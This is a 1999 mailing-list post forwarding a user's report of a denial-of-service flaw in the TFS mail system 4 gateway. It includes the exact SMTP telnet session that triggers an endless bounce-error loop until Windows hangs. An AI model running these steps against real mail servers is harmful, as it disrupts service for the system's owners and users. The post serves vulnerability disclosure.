I found this today and iam reporting it to you first!!! (fwd)

From: Alfred Huger (ahat_private)
Date: Mon Aug 30 1999 - 12:14:09 PDT

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    Date: Mon, 30 Aug 1999 21:08:14 +0200
    From: Hakan Franzen <fablemanat_private>
    To: vuldbat_private
    Subject: I found this today and iam reporting it to you first!!!
    
    Target: TFS mail system 4 (i think its working on earlier version aswell)  (TFS just got some award about there security about emails)
    Company makes the product:   www.tenfour.se
    OS: win95 98 nt
    Reported by: FableMan Noxidus a member of #HACK on IRCNet
    a DoS routine:  Makes a FAST loop generating loooots of emails until its forced to stop by admin.
    
    what i did is:  TELNET TARGETSYSTEMRUNNING.TFS.MAIL.GATE.XXX 25
    typing HELO
    typing MAIL FROM:FABLEMAN NOXIDUS
    RCPT TO:FIXYOUR SYSTEM.@TARGETSYSTEMRUNNING.TFS.MAIL.GATE.XXX
    DATA
    Fix you system
    Error found by FableMan Noxidus a #HACK member of IRCNet
    .
    QUIT
    
    
    Thats all  now the system tries to send to FIXYOUR SYSTEM.@TARGETSYSTEMRUNNING.TFS.MAIL.GATE.XXX
    but that address is wrong soo then it generates a reporterror and mails to FABLEMAN NOXIDUS but cos i havent included a @ then i will not go out on internet
    then the loops starts.. its generating a reporterror and the loop is a truh..
    
    I found it when i was playing around with a TFS mail gate system..
    
    The speed of error report generation is about 1 or more email /sec soo if you start the loop and after 1 hr its a loot of email generated...
    until windows or NT hangs cos of it
    



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